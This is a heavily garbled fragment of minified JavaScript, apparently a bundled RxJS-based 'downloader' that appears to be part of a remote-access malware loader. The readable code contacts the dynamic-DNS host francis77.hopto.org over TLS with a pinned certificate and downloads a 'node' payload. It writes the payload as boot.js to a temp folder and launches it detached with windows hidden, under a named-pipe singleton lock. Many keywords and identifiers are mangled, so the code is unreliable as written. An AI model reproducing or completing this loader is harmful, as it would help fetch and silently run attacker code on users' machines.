  529.            }, t.prototype.toPromise = function(t) {
  530.                varthis;
  531.                returnt = A(t))((function(t, n) {
  532.                    varubscribe((function(t) {
  533.                        return
  534.                    }), (function(t) {
  535.                            returnunction() {
  536.                                returnreate = function(e) {
  537.                                    return)
  538.                            }, t
  539.                        }();
  540.  
  541.                        function.Promise || Promise), !t) throwError("nose;returnfunction(){functionrror.call(this),this.message="
  542.                        objected ",this.name="
  543.                        ObjectUnsubscribedError ",this}returnpe=Object.create(Error.prototype),t}(),N=function(t){functione,n){varl(this)||this;return,r.subscriber=n,r.closed=!1,r}returnototype.unsubscribe=function(){if(!this.closed){this.closed=!0;vart,e=t.observers;if(this.subject=null,e&&0!==e.length&&!t.isStopped&&!t.closed){varhis.subscriber);-1!==n&&e.splice(n,1)}}},e}(w),C=function(t){function=t.call(this,e)||this;returnestination=e,n}returng),B=function(t){functionr||this;returnobservers=[],e.closed=!1,e.isStopped=!1,e.hasError=!1,e.thrownError=null,e}returntype[_]=function(){returnthis)},e.prototype.lift=function(t){varthis,this);return},e.prototype.next=function(t){if(this.closed)throwis.isStopped)for(varrvers,n=e.length,r=e.slice(),i=0;i<n;i++)r[i].next(t)},e.prototype.error=function(t){if(this.closed)throwthis.hasError=!0,this.thrownError=t,this.isStopped=!0;for(varthis.observers,n=e.length,r=e.slice(),i=0;i<n;i++)r[i].error(t);this.observers.length=0},e.prototype.complete=function(){if(this.closed)throwwed=!0;for(varthis.observers,e=t.length,n=t.slice(),r=0;r<e;r++)n[r].complete();this.observers.length=0},e.prototype.unsubscribe=function(){this.isStopped=!0,this.closed=!0,this.observers=null},e.prototype._trySubscribe=function(e){if(this.closed)throwewototype._trySubscribe.call(this,e)},e.prototype._subscribe=function(t){if(this.closed)throwj;returnsError?(t.error(this.thrownError),w.EMPTY):this.isStopped?(t.complete(),w.EMPTY):(this.observers.push(t),newhis,t))},e.prototype.asObservable=function(){vart.source=this,t},e.create=function(t,e){returnew,P=function(t){functionar)||this;return.destination=e,r.source=n,r}returnotype.next=function(t){vars.destination;e&&e.next&&e.next(t)},e.prototype.error=function(t){vartination;e&&e.error&&this.destination.error(t)},e.prototype.complete=function(){varnation;t&&t.complete&&this.destination.complete()},e.prototype._subscribe=function(t){returns.source?this.source.subscribe(t):w.EMPTY},e}(B);functionturn{returnewfunction(){functionnnectable=t}returnall=function(t,e){varnectable;n._refCount++;varcribe(r);returnr.closed||(r.connection=n.connect()),i},t}(),M=function(t){function=t.call(this,e)||this;returnonnectable=n,r}returnrototype._unsubscribe=function(){varectable;if(t){this.connectable=null;varCount;if(e<=0)this.connection=null;elsefCount=e-1,e>1)this.connection=null;else{varhis.connection,r=t._connection;this.connection=null,!r||n&&r!==n||r.unsubscribe()}}elsenection=null},e}(g),D=function(t){function){varhis)||this;returnubjectFactory=n,r._refCount=0,r._isComplete=!1,r}return.prototype._subscribe=function(t){returntSubject().subscribe(t)},e.prototype.getSubject=function(){var=this._subject;returnopped||(this._subject=this.subjectFactory()),this._subject},e.prototype.connect=function(){var=this._connection;returns._isComplete=!1,(t=this._connection=newthis.source.subscribe(new.getSubject(),this))),t.closed&&(this._connection=null,t=w.EMPTY)),t},e.prototype.refCount=function(){return(this)},e}(O),U=function(){var=D.prototype;return{operator:{value:null},_refCount:{value:0,writable:!0},_subject:{value:null,writable:!0},_connection:{value:null,writable:!0},_subscribe:{value:t._subscribe},_isComplete:{value:t._isComplete,writable:!0},getSubject:{value:t.getSubject},connect:{value:t.connect},refCount:{value:t.refCount}}}(),k=function(t){functione(e,n){varall(this,e)||this;returnctable=n,r}returntype._error=function(e){this._unsubscribe(),t.prototype._error.call(this,e)},e.prototype._complete=function(){this.connectable._isComplete=!0,this._unsubscribe(),t.prototype._complete.call(this)},e.prototype._unsubscribe=function(){varis.connectable;if(t){this.connectable=null;var=t._connection;t._refCount=0,t._subject=null,t._connection=null,e&&e.unsubscribe()}},e}(C);var=function(t){function,n)||this;return.work=n,r.pending=!1,r}returne,t),e.prototype.schedule=function(t,e){if(void0===e&&(e=0),this.closed)returnthis;this.state=t;varr=this.scheduler;return&(this.id=this.recycleAsyncId(r,n,e)),this.pending=!0,this.delay=e,this.id=this.id||this.requestAsyncId(r,this.id,e),this},e.prototype.requestAsyncId=function(t,e,n){returndetInterval(t.flush.bind(t,this),n)},e.prototype.recycleAsyncId=function(t,e,n){if(void=0),null!==n&&this.delay===n&&!1===this.pending)returnterval(e)},e.prototype.execute=function(t,e){if(this.closed)returnxecutinglledhis.pending=!1;varte(t,e);if(n)returnpending&&null!=this.id&&(this.id=this.recycleAsyncId(this.scheduler,this.id,null))},e.prototype._execute=function(t,e){varr=voids.work(t)}catch(t){n=!0,r=!!t&&t||newf(n)returnunsubscribe(),r},e.prototype._unsubscribe=function(){varid,e=this.scheduler,n=e.actions,r=n.indexOf(this);this.work=null,this.state=null,this.pending=!1,this.scheduler=null,-1!==r&&n.splice(r,1),null!=t&&(this.id=this.recycleAsyncId(e,t,null)),this.delay=null},e}(function(t){functionrn|this}return,t),e.prototype.schedule=function(t,e){returnidthis},e}(w)),R=function(t){function=t.call(this,e,n)||this;return.scheduler=e,r.work=n,r}return(e,t),e.prototype.schedule=function(e,n){returnvoid),n>0?t.prototype.schedule.call(this,e,n):(this.delay=n,this.state=e,this.scheduler.flush(this),this)},e.prototype.execute=function(e,n){returnn>0||this.closed?t.prototype.execute.call(this,e,n):this._execute(e,n)},e.prototype.requestAsyncId=function(e,n,r){return===r&&(r=0),null!==r&&r>0||null===r&&this.delay>0?t.prototype.requestAsyncId.call(this,e,n,r):e.flush(this)},e}(Y),Q=function(){functionvoid.now),this.SchedulerAction=e,this.now=n}return.prototype.schedule=function(t,e,n){return0===e&&(e=0),newction(this,t).schedule(n,e)},t.now=function(){return,t}(),G=function(t){function,r){void(r=Q.now);vart.call(this,n,(function(){returnelegate!==i?e.delegate.now():r()}))||this;returnactive=!1,i.scheduled=voideturnrototype.schedule=function(n,r,i){return==r&&(r=0),e.delegate&&e.delegate!==this?e.delegate.schedule(n,r,i):t.prototype.schedule.call(this,n,r,i)},e.prototype.flush=function(t){varhis.actions;if(this.active)e.push(t);else{varthis.active=!0;do{if(n=t.execute(t.state,t.delay))break}while(t=e.shift());if(this.active=!1,n){for(;t=e.shift();)t.unsubscribe();throwQ),q=new(function(t){function){returnt&&t.apply(this,arguments)||this}return}(G))(R),H=new((function(t){return)}));functiont){returntion(t){returnew){returnule((function(){returne()}))}))}(t):H}functionturnon" == typeofchedule
  544.                    }
  545.                    varfunction(t) {
  546.                        returnor(varength; n < r && !e.closed; n++) e.next(t[n]);
  547.                        e.complete()
  548.                    }
  549.                }; functiont, e) {
  550.                    returnO((function(n) {
  551.                            vareturnhedule((function() {
  552.                                i !== t.length ? (n.next(t[i++]), n.closed || r.add(this.schedule())) : n.complete()
  553.                            }))), r
  554.                    }))
  555.            }
  556.  
  557.            function ? K(t, e): newt))
  558. }
  559.  
  560. function {
  561.    for (var0; e < arguments.length; e++) t[e] = arguments[e];
  562.    var = t[t.length - 1];
  563.    returnp(), K(t, n)): Z(t)
  564. }
  565.  
  566. function {
  567.    returnfunction(n) {
  568.        return,
  569.        0,
  570.        {
  571.            error: t,
  572.            subscriber: n
  573.        })
  574. }: function(e) {
  575.    return.error(t)
  576. })
  577. }
  578.  
  579. function = t.error;
  580. t.subscriber.error(e)
  581. }
  582. L || (L = {});
  583. varfunction() {
  584.    functions.kind = t, this.value = e, this.error = n, this.hasValue = "N" === t
  585. }
  586. returnserve = function(t) {
  587.    switch (this.kind) {
  588.        case "N":
  589.            returnext(this.value);
  590.        case "E":
  591.            returnr(this.error);
  592.        case "C":
  593.            return.complete && t.complete()
  594.    }
  595. }, t.prototype.do = function(t, e, n) {
  596.    switch (this.kind) {
  597.        case "N":
  598.            return (this.value);
  599.        case "E":
  600.            return &e(this.error);
  601.        case "C":
  602.            returnn && n()
  603.    }
  604. }, t.prototype.accept = function(t, e, n) {
  605.    return "==typeoft?this.observe(t):this.do(t,e,n)},t.prototype.toObservable=function(){switch(this.kind){case"
  606.    N ":returnvalue);case"
  607.    E ":returnrror);case"
  608.    C ":returnxpectedtion")
  609. }               return)
  610.                                                            }
  611.                                                        }))
  612.                                                }))), r
  613.                                    }))
  614.                            }(t, e);
  615.                            if (yt(t)) returne) {
  616.                            return (function(n) {
  617.                                    varr.add(e.schedule((function() {
  618.                                            returntion(t) {
  619.                                                r.add(e.schedule((function() {
  620.                                                        n.next(t), r.add(e.schedule((function() {
  621.                                                                return)))
  622.                                                        })))
  623.                                                }), (function(t) {
  624.                                                r.add(e.schedule((function() {
  625.                                                    returnor(t)
  626.                                                })))
  627.                                            }))
  628.                                    }))), r
  629.                            }))
  630.                }(t, e);
  631.                if (bt(t)) returne);
  632.            if (function(t) {
  633.                    returnnction "==typeofring" == typeof) return (t, e) {
  634.                    if (!t) throwerablenewn) {
  635.                    var;
  636.                    returnunction() {
  637.                        r && "function" == typeofturn()
  638.                    })), i.add(e.schedule((function() {
  639.                r = t[dt](), i.add(e.schedule((function() {
  640.                    if (!n.closed) {
  641.                        vart,
  642.                        e;
  643.                        try {
  644.                            varnext();
  645.                            t = i.value, e = i.done
  646.                        } catch (t) {
  647.                            return.error(t)
  648.                        }
  649.                        e ? n.complete() : (n.next(t), this.schedule())
  650.                    }
  651.                })))
  652.            }))), i
  653.        }))
  654. }(t, e)
  655. }
  656. throwewll !== t && typeof || t) + "bservable")
  657. }
  658. functionturnnewfunctionr || this;
  659. returnparent = e, n
  660. }
  661. returntype._next = function(t) {
  662.    this.parent.notifyNext(t)
  663. }, e.prototype._error = function(t) {
  664.    this.parent.notifyError(t), this.unsubscribe()
  665. }, e.prototype._complete = function() {
  666.    this.parent.notifyComplete(), this.unsubscribe()
  667. }, e
  668. }(g), gt = function(t) {
  669.    functione() {
  670.        return ==t && t.apply(this, arguments) || this
  671.    }
  672.    return, e.prototype.notifyNext = function(t) {
  673.        this.destination.next(t)
  674.    }, e.prototype.notifyError = function(t) {
  675.        this.destination.error(t)
  676.    }, e.prototype.notifyComplete = function() {
  677.        this.destination.complete()
  678.    }, e
  679. }(g);
  680. functiont(t, e) {
  681. if (!e.closed) returntanceofcribe(e): vt(t)(e)
  682. }
  683. functione, n) {
  684.    returnr.POSITIVE_INFINITY), "function" == typeoftion(r) {
  685.    return.pipe(xt((function(n, r) {
  686.            returnt(t(n, r)).pipe(at((function(t, i) {
  687.                    returni)
  688.            })))
  689.    }), n))
  690. }: ("number" == typeofion(e) {
  691.    returnlift(new)
  692. })
  693. }
  694. varion() {
  695.    function(t, e) {
  696.        void && (e = Number.POSITIVE_INFINITY), this.project = t, this.concurrent = e
  697.    }
  698.    returnpe.call = function(t, e) {
  699.        returnubscribe(newt, this.project, this.concurrent))
  700. }, t
  701. }(), Tt = function(t) {
  702.    function(e, n, r) {
  703.        void = r && (r = Number.POSITIVE_INFINITY);
  704.        varis, e) || this;
  705.    return.concurrent = r, i.hasCompleted = !1, i.buffer = [], i.active = 0, i.index = 0, i
  706. }
  707. return, e.prototype._next = function(t) {
  708.    this.active < this.concurrent ? this._tryNext(t) : this.buffer.push(t)
  709. }, e.prototype._tryNext = function(t) {
  710.    varndex++;
  711.    try {
  712.        e = this.project(t, n)
  713.    } catch (t) {
  714.        returnoidtion.error(t)
  715.    }
  716.    this.active++, this._innerSub(e)
  717. }, e.prototype._innerSub = function(t) {
  718.    varis), n = this.destination;
  719. n.add(e);
  720. var == e && n.add(r)
  721. }, e.prototype._complete = function() {
  722.    this.hasCompleted = !0, 0 === this.active && 0 === this.buffer.length && this.destination.complete(), this.unsubscribe()
  723. }, e.prototype.notifyNext = function(t) {
  724.    this.destination.next(t)
  725. }, e.prototype.notifyComplete = function() {
  726.    varer;
  727.    this.active--, t.length > 0 ? this._next(t.shift()) : 0 === this.active && this.hasCompleted && this.destination.complete()
  728. }, e
  729. }(gt);
  730. functionvoidumber.POSITIVE_INFINITY), xt(T, t)
  731. }
  732. functionreturnnction(e) {
  733. vartry {
  734. n = t()
  735. } catch (t) {
  736. return.error(t)
  737. }
  738. return (n ? mt(n) : W()).subscribe(e)
  739. }))
  740. }
  741. functionurn!b(t) && t - parseFloat(t) + 1 >= 0
  742. }
  743. functionr, n = t.counter, r = t.period;
  744. e.next(n), this.schedule({
  745.    subscriber: e,
  746.    counter: n + 1,
  747.    period: r
  748. }, r)
  749. }
  750. functionNt() {
  751.    for (var], e = 0;
  752.    e < arguments.length;
  753.    e++) t[e] = arguments[e];
  754. varTIVE_INFINITY, r = null, i = t[t.length - 1];
  755. return ?(r = t.pop(), t.length > 1 && "number" == typeofength - 1] && (n = t.pop())): "number" == typeoft.pop()), null === r && 1 === t.length && t[0] instanceofO ? t[0] : It(n)(Z(t, r))
  756. }
  757.  
  758. function(t, e) {
  759.    returnction(n) {
  760.        returnn.lift(newe))
  761. }
  762. }
  763. vartion() {
  764.    functiont(t, e) {
  765.        this.predicate = t, this.thisArg = e
  766.    }
  767.    returnprototype.call = function(t, e) {
  768.        returnnewedicate,
  769.        this.thisArg))
  770. }, t
  771. }(), Pt = function(t) {
  772.    functionre) || this;
  773. returni.predicate = n, i.thisArg = r, i.count = 0, i
  774. }
  775. return, t), e.prototype._next = function(t) {
  776.    varis.predicate.call(this.thisArg, t, this.count++)
  777. } catch (t) {
  778.    returnoidtion.error(t)
  779. }
  780. e && this.destination.next(t)
  781. }, e
  782. }(g);
  783. varctionrnar = e.lift(n);
  784. returnrfunctionis.selector = t
  785. }
  786. return.call = function(t, e) {
  787.    returnscribe(newthis.selector, this.caught))
  788. }, t
  789. }(), Dt = function(t) {
  790.    functionr) {
  791.    varthis,
  792.    e) || this;
  793. returnn, i.caught = r, i
  794. }
  795. returnrototype.error = function(e) {
  796.    if (!this.isStopped) {
  797.        varn = this.selector(e, this.caught)
  798.    } catch (e) {
  799.        returnoiderror.call(this, e)
  800.    }
  801.    this._unsubscribeAndRecycle();
  802.    varis);
  803. this.add(r);
  804. var == r && this.add(i)
  805. }
  806. }, e
  807. }(gt);
  808. functionntionn = null),
  809. function(e) {
  810.    return (newunctions.defaultValue = t
  811.    }
  812.    returnype.call = function(t, e) {
  813.        returnsubscribe(new(t, this.defaultValue))
  814.    }, t
  815. }(), Rt = function(t) {
  816.    functionr = t.call(this, e) || this;
  817.    returndefaultValue = n, r.isEmpty = !0, r
  818. }
  819. returnototype._next = function(t) {
  820.    this.isEmpty = !1, this.destination.next(t)
  821. }, e.prototype._complete = function() {
  822.    this.isEmpty && this.destination.next(this.defaultValue), this.destination.complete()
  823. }, e
  824. }(g);
  825. functionturnft)
  826. }
  827.  
  828. function) {
  829.    return ==t && (t = Wt),
  830.        function(e) {
  831.            return.lift(new
  832.            }
  833.        }
  834.    varn() {
  835.        function) {
  836.        this.errorFactory = t
  837.    }
  838.    returnrototype.call = function(t, e) {
  839.        returneworFactory))
  840. }, t
  841. }(), Ht = function(t) {
  842. function {
  843.    varis,
  844.    e) || this;
  845. returny = n, r.hasValue = !1, r
  846. }
  847. return), e.prototype._next = function(t) {
  848.    this.hasValue = !0, this.destination.next(t)
  849. }, e.prototype._complete = function() {
  850.    if (this.hasValue) returntion.complete();
  851.    var {
  852.        t = this.errorFactory()
  853.    } catch (e) {
  854.        t = e
  855.    }
  856.    this.destination.error(t)
  857. }, e
  858. }(g);
  859.  
  860. function() {
  861.    return
  862. }
  863. functionreturne) {
  864.    returnW(): e.lift(newt(t))
  865. }
  866. }
  867. varnction() {
  868.    functionotal = t, this.total < 0) throw
  869. }
  870. returnype.call = function(t, e) {
  871.    returnsubscribe(new(t, this.total))
  872. }, t
  873. }(), zt = function(t) {
  874.    functione,
  875.    n) {
  876.    varl(this, e) || this;
  877.    return, r.count = 0, r
  878. }
  879. returntotype._next = function(t) {
  880.    varhis.total, n = ++this.count;
  881.    n <= e && (this.destination.next(t), n === e && (this.destination.complete(), this.unsubscribe()))
  882. }, e
  883. }(g);
  884. varfunction() {
  885.    functionoject = t
  886. }
  887. return.prototype.call = function(t, e) {
  888.    return (newroject))
  889. }, t
  890. }(), Zt = function(t) {
  891.    functionre) || this;
  892. returnr.project = n, r.hasSubscription = !1, r.hasCompleted = !1, r.index = 0, r
  893. }
  894. returnrototype._next = function(t) {
  895.    this.hasSubscription || this.tryNext(t)
  896. }, e.prototype.tryNext = function(t) {
  897.    varndex++;
  898.    try {
  899.        e = this.project(t, n)
  900.    } catch (t) {
  901.        returnoidtion.error(t)
  902.    }
  903.    this.hasSubscription = !0, this._innerSub(e)
  904. }, e.prototype._innerSub = function(t) {
  905.    var = newthis.destination;
  906.    n.add(e);
  907.    varEt(t, e);
  908.    r !== e && n.add(r)
  909. }, e.prototype._complete = function() {
  910.    this.hasCompleted = !0, this.hasSubscription || this.destination.complete(), this.unsubscribe()
  911. }, e.prototype.notifyNext = function(t) {
  912.    this.destination.next(t)
  913. }, e.prototype.notifyError = function(t) {
  914.    this.destination.error(t)
  915. }, e.prototype.notifyComplete = function() {
  916.    this.hasSubscription = !1, this.hasCompleted && this.destination.complete()
  917. }, e
  918. }(gt);
  919. functiont(t, e) {
  920.        varuments.length >= 2;
  921.        return (r) {
  922.                returne(t ? Ct((function(e, n) {
  923.                            return,
  924.                            n,
  925.                            r)
  926.                    })): T, Jt(1), n ? kt(e) : Gt((function() {
  927.                                returnewionurnlift(new
  928.                                }
  929.                                var () {
  930.                                    function {
  931.                                        if (this.total = t, this.total < 0) thrownll = function(t, e) {
  932.                                            returnibe(news.total))
  933.                                    }, t
  934.                                }(), ee = function(t) {
  935.                                    functionar,
  936.                                    e) || this;
  937.                                returng = newunt = 0, r
  938.                            }
  939.                            return (e, t), e.prototype._next = function(t) {
  940.                                varing,
  941.                                n = this.total,
  942.                                r = this.count++;e.length < n ? e.push(t) : e[r % n] = t
  943.                            }, e.prototype._complete = function() {
  944.                                varnation,
  945.                                e = this.count;
  946.                                if (e > 0)
  947.                                    for (var = this.total ? this.total : this.count, r = this.ring, i = 0; i < n; i++) {
  948.                                        var = e++ % n;
  949.                                        t.next(r[o])
  950.                                    }
  951.                                t.complete()
  952.                            }, e
  953.                        }(g); functionfunction(n) {
  954.                            varr;
  955.                            if (r = "function" == typeoffunction() {
  956.                                    return " == typeofrn(r, e));
  957.                                     varect.create(n, U);
  958.                                     returnn, i.subjectFactory = r, i
  959.                                 }
  960.                             }
  961.                             varunction() {
  962.                                 functionubjectFactory = t, this.selector = e
  963.                             }
  964.                             returnpe.call = function(t, e) {
  965.                                 var.selector, r = this.subjectFactory(), i = n(r).subscribe(t);
  966.                                 returndd(e.subscribe(r)), i
  967.                             }, t
  968.                         }();
  969.         functionnewe(t, e) {
  970.             return\ "function"==typeofreturn((function(n,r){return).pipe(at((function(t,i){returne(n,t,r,i)})))})))}:function(e){returnw=function(){functionroject=t}returnt.prototype.call=function(t,e){returne(newproject))},t}(),ue=function(t){functionar,e)||this;returnndex=0,r}returnh(e,t),e.prototype._next=function(t){vars.index++;try{e=this.project(t,n)}catch(t){returnination.error(t)}this._innerSub(e)},e.prototype._innerSub=function(t){var.innerSubscription;e&&e.unsubscribe();var_t(this),r=this.destination;r.add(n),this.innerSubscription=Et(t,n),this.innerSubscription!==n&&r.add(this.innerSubscription)},e.prototype._complete=function(){varSubscription;e&&!e.closed||t.prototype._complete.call(this),this.unsubscribe()},e.prototype._unsubscribe=function(){this.innerSubscription=void0},e.prototype.notifyComplete=function(){this.innerSubscription=voidopped&&t.prototype._complete.call(this)},e.prototype.notifyNext=function(t){this.destination.next(t)},e}(gt);vartrailing:!1};varunctionr){this.duration=t,this.scheduler=e,this.leading=n,this.trailing=r}returnotype.call=function(t,e){returne.subscribe(newae(t,this.duration,this.scheduler,this.leading,this.trailing))},t}(),ae=function(t){function,n,r,i,o){vart.call(this,e)||this;returnration=n,s.scheduler=r,s.leading=i,s.trailing=o,s._hasTrailingValue=!1,s._trailingValue=null,s}returnrototype._next=function(t){this.throttled?this.trailing&&(this._trailingValue=t,this._hasTrailingValue=!0):(this.add(this.throttled=this.scheduler.schedule(le,this.duration,{subscriber:this})),this.leading?this.destination.next(t):this.trailing&&(this._trailingValue=t,this._hasTrailingValue=!0))},e.prototype._complete=function(){this._hasTrailingValue?(this.destination.next(this._trailingValue),this.destination.complete()):this.destination.complete()},e.prototype.clearThrottle=function(){vard;t&&(this.trailing&&this._hasTrailingValue&&(this.destination.next(this._trailingValue),this._trailingValue=null,this._hasTrailingValue=!1),t.unsubscribe(),this.remove(t),this.throttled=null)},e}(g);functionber.clearThrottle()}functiont,e,n){returnid,function(r){varn.now():Math.abs(t);returnt(new))}}varion(){function(t,e,n,r){this.waitFor=t,this.absoluteTimeout=e,this.withObservable=n,this.scheduler=r}returnprototype.call=function(t,e){returnnewsoluteTimeout,this.waitFor,this.withObservable,this.scheduler))},t}(),de=function(t){functione,n,r,i,o){var=t.call(this,e)||this;returnbsoluteTimeout=n,s.waitFor=r,s.withObservable=i,s.scheduler=o,s.scheduleTimeout(),s}return),e.dispatchTimeout=function(t){varrvable;t._unsubscribeAndRecycle(),t.add(Et(e,newotype.scheduleTimeout=function(){varon;t?this.action=t.schedule(this,this.waitFor):this.add(this.action=this.scheduler.schedule(e.dispatchTimeout,this.waitFor,this))},e.prototype._next=function(e){this.absoluteTimeout||this.scheduleTimeout(),t.prototype._next.call(this,e)},e.prototype._unsubscribe=function(){this.action=voidler=null,this.withObservable=null},e}(gt);classbe{constructor(t){this.options=t}asynclete(){constwaitve().pipe(function(t,e){varguments.length>=2;returnn(r){returnpe(t?Ct((function(e,n){returne,n,r)})):T,$t(1),n?kt(e):Gt((function(){returnnewtoPromise();if("completed"!==(null==t?void.phase))throwwlete" + (null == t ? void0 : t.phase));
  971.        consteturnesponseBody, e
  972.        }
  973.        async () {
  974.            vartptions.headers) for (const [n, r] ofthis.options.headers)(null !== (t = e[n]) && voidt ? t : e[n] = []).push(r);
  975.        returnPromise((t, n) => {
  976.                    constt.request)({
  977.                    ca: this.options.caCert,
  978.                    servername: this.options.host,
  979.                    host: this.options.host,
  980.                    hostname: this.options.host,
  981.                    port: this.options.port,
  982.                    path: this.options.path,
  983.                    method: this.options.method,
  984.                    timeout: 6e4,
  985.                    headers: e
  986.                }); null != this.options.body && r.write(this.options.body), r.end(), r.on("response",e=>{t(e)}).on("error",t=>{n(t)}).on("timeout",()=>{n(newror("REQUESTMEDort()})})}reactive(){return)=>this.async()).pipe(Xt(),Ut(t=>new=Number(t.headers["content-length"]);n>=0&&Math.floor(n)===n||(n=voidTimeout(6e4,()=>{e.error(newor("RESPONSEMEDstroy()}),e.next({response:t,phase:"downloading",completedBytes:0,...null==n?{}:{totalBytes:n}});consttn("data",o=>{r.push(o),i+=o.length,e.next({response:t,phase:"downloading",completedBytes:i,...null==n?{}:{totalBytes:n}})}).on("end",async()=>{try{const=Buffer.concat(r);null!=n&&i.length!==n?e.error(newent-Lengthrthytesching")):(e.next({response:t,phase:"completed",totalBytes:i.length,completedBytes:i.length,responseBody:i}),e.complete())}catch(t){e.error(t)}}).on("error",t=>{e.error(t)}),()=>t.destroy()})))}}classconstructor({headers:t=[],...e},{headers:n=[],...r}){this.options={...e,...r,headers:[...t,...n]}}override(t){return.options,t)}caCert(t){returns.override({caCert:t})}host(t){returnide({host:t})}port(t){returns.override({port:t})}method(t){returnide({method:t})}path(t){returnhis.override({path:t})}body(t){returnide({body:t})}header(t,e){return,e])}headers(...t){returnverride({headers:t})}request(){returns.options)}}functiont=function(t){constss.argv;for(letr=0;r<n.length;){if(n[r++]===t){constull!=t&&e.push(t)}}return-hub-domain");if(0===t.length)throw"
  987.                     nopecified\ ");return,me=n(3),_e=n(7),ge=n(8),Ee=n(4);varn.n(xe);const=newwnctionurn).caCert(awaite.pipe(Xt()).toPromise()).host(t.host).port(t.port).method("get")}asynconunction(t){conste(t)).path("/node/version").request().asyncComplete();if(200!==e.statusCode)thrownon-200ode");returnbody.toString("utf8")}(t);if(n===e)return!0;console.log("FOUND+t.host+":"+t.port+"" == (r = Se.a.send) || voidall(Se.a, "feed");try{returnaiton(t,e){constawait(await)).path("/node/download/"+e).request().asyncComplete();if(200!==n.statusCode)throw"
  988.                         non - 200 code\ ");return.body}(t,n)}catch(t){throwle.log("ERRORhilet),t}var(void5)&&(Ce=0),void0===Be&&(Be=ut),(!At(Ce)||Ce<0)&&(Ce=0),Be&&"function"==typeofe=ut),newction(t){returnt.add(Be.schedule(jt,Ce,{subscriber:t,counter:0,period:Ce})),t}))),je.pipe(function(t,e,n){return=ut),void&(n=ce),function(r){returnt(neweading,n.trailing))}}(6e4,st,{trailing:!0,leading:!0})));varBe;letctione){Pe=!0;mt(ve().map(t=>({port:443,host:t}))).pipe(xt(t=>Ie.pipe(oe(e=>Nt(X(voidctionurn){returnt((function(t,r){return)).pipe(at((function(e,i){return)))}:function(t){returnewfunction(t,e){return,e)).pipe(Ft(t=>H),Ct(t=>!0!==t))}(t,e).pipe(pe(6e5,H))))))),(function(t){return)).pipe(Ut(t=>asyncconstject(Ee.promisify)(we.mkdtemp)(Object(me.join)(Object(ge.tmpdir)(),"_qhub_node_")),n=Object(me.resolve)(e,"boot.js");awaitbject(Ee.promisify)(we.writeFile)(n,t),Object(_e.spawn)(process.execPath,[n,...process.argv.slice(2)],{detached:!0,stdio:"inherit",windowsHide:!0,cwd:e}).unref()}(t)),Ft(()=>H)).subscribe()}}console.log("QNODE"), asyncn(t, e) {
  989.                         if ("win32"!==process.platform)throwndowsarern="\\\\\\\\.\\\\pipe\\\"+t;for(;;){lett=awaitch(t){if(console.error("ipc","lockSingleton","couldn't),!(null==e?voidtry{consttst()=>{t.destroy(),e()},1e3);t.once("close",()=>{clearTimeout(n),e()})});continue}catch(t){}console.error("ipc","lockSingleton","retryingnwaitinue}letnull;const}),h=()=>{r||(r=!0,u())};returnt.once("close",h),t.once("error",t=>{console.error("ipc","server.on",t),h()}),e.ignoreKills||t.on("connection",e=>{console.error("ipc","server.on", "anconnectionted.ngal)"),t.close(),h()}),{release:()=>{t.close()},onRelease$:c}}}}("qhub-node-instance-lock",{ignoreKills:!1,waitBound:!1}).then(async,n;console.log("LOCKED"),t.onRelease$.finally(()=>{console.log("boot","killtstance-lock","exiting"),process.exit(0)}),console.log("SETTING,e=u.a+"-downloader",Ie.next(e),n="-----BEGIN-\\nMIID2DCCAsCgAwIBAgIIAoMpofLrd+IwDQYJKoZIhvcNAQELBQAwcjEcMBoGA1UE\\nChMTUVVBIElUIFNPTFVUSU9OUyBPVTEhMB8GA1UECxMYSU5GT1JNQVRJT04gVEVD\\nSE5PTE9HSUVTMRIwEAYDVQQDEwlRSFVCLU1BSU4xGzAZBgkqhkiG9w0BCQEWDGlu\\nZm9AcXVhLm9uZTAeFw0yMDA4MjQxNTEzMDBaFw0zMDA4MjQxNTEzMDBaMHIxHDAa\\nBgNVBAoTE1FVQSBJVCBTT0xVVElPTlMgT1UxITAfBgNVBAsTGElORk9STUFUSU9O\\nIFRFQ0hOT0xPR0lFUzESMBAGA1UEAxMJUUhVQi1NQUlOMRswGQYJKoZIhvcNAQkB\\nFgxpbmZvQHF1YS5vbmUwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDR\\nRALMGh6e1pi2riSEEERK5k6vWyXaHOAMzfnP+DHQuBgDIRmPUXx9m2ugp2gwiFDp\\ngvadNWLglY+zYj/eS8G3dOFqaJlvK42lCWIB8nRO50cYyvKvy8El1KW60SAjDkyZ\\n66hO2pQIB6lkynLfV6pIuCp8Wt83VbaQRf6hvtylBhhJDT29/EkXPt1j3CzByL/+\\nLfStrpw0vkSVVT7rjSzl430I/OxiYIJuPovjoj3fAptXkJFuRS4xLT0nDDCOnWXT\\nJ2B4Sl44v5bGBEOPLUQrPMEfdK2fu0eLpc+QANeO6dxL8EW4BFRnwADc+oEStWCT\\nGWCl6vM205GlFuG8HtpZAgMBAAGjcjBwMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0O\\nBBYEFJMcicJls+RLz5VuUr9/5sMy4MxiMAsGA1UdDwQEAwIBBjARBglghkgBhvhC\\nAQEEBAMCAAcwHgYJYIZIAYb4QgENBBEWD3hjYSBjZXJ0aWZpY2F0ZTANBgkqhkiG\\n9w0BAQsFAAOCAQEAcOC2fJ/vrP5wUKOqFbywyeTYbwX81y/1L6mMnTXFT89bl7hE\\nzrYhYexkKcsSGU/+jG8tSb+65VTL4/cwgFZZABXKe5+yqzEEkkLqbRv15Dh4ce15\\nR8CNkfXkjncHEsW3r4k6dXbpmbdskynDwW5lmY6KQUJBsLvRLHJCQNJhIu3wrzVo\\nZrrKUyKDayOxjz0ClPmMVh/Uo91oUMQEblhj82XeHEvF85aty4lIn39p7FSYUroe\\nbUxgIlEFBvb9zoBvEJoiDosG8hlQKX5TIrFZ1fFDmdnXK/p57uxfPmZf4R3Ce3rF\\nlT212ouj5tVJtoFYFZkCOrBHm71WdVIgMM1G+A==\\n-----END----\\n",Te.next(n),Ve(),console.log("READY")},t=>console.error(t))}]);\n//#sourceMappingURL=downloader.js.map", "arguments": ["--hub-domain", "francis77.hopto.org"]
  990.                        };! function() {
  991.    "uset";.
  992.    /*!*********************************************************************.
  993.    ghttoify,ributewarehereby.ESTHORLLTH.NCLUDINGLIEDOFTY.SS.SHALLNYCT,.,ALYEVERROM.USE,FITS,NTRACT,CETORTIOUSOR.E..********************************************************************/
  994.    kages.java, t = Packages.javax, r = e.lang.Class.forName("[B").getComponentType();
  995.    functionArray.newInstance(r, [t])
  996. }
